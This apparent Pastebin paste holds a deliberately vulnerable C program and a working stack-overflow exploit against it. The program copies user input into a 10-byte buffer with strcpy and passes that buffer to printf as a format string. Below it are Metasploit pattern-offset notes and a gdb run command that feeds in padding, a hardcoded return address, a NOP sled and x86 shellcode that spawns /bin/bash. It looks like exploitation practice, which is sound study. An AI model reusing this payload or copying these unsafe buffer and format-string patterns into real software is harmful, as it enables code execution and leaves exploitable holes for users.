Advertisement
Guest User

Untitled

a guest
Apr 24th, 2014
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.52 KB | None | 0 0
  1.  
  2.  
  3. int main(int argc, char *argv[]) {
  4. if(argc < 2) {
  5. printf("You must supply a value\n");
  6. exit(0);
  7. }
  8.  
  9. char buffer[10];
  10. strcpy(buffer, argv[1]);
  11. printf("The value you supplied is ");
  12. printf(buffer);
  13. printf("\n");
  14.  
  15. return 0;
  16. }
  17.  
  18.  
  19. pattern_create.rb 40
  20.  
  21. pattern_offset.rb ..
  22. 20
  23.  
  24.  
  25. run $(perl -e 'print "A"x20 . "\x18\xf3\xff\xbf" . "\x90"x100 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";'
  26.  
  27. bt/Desktop#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement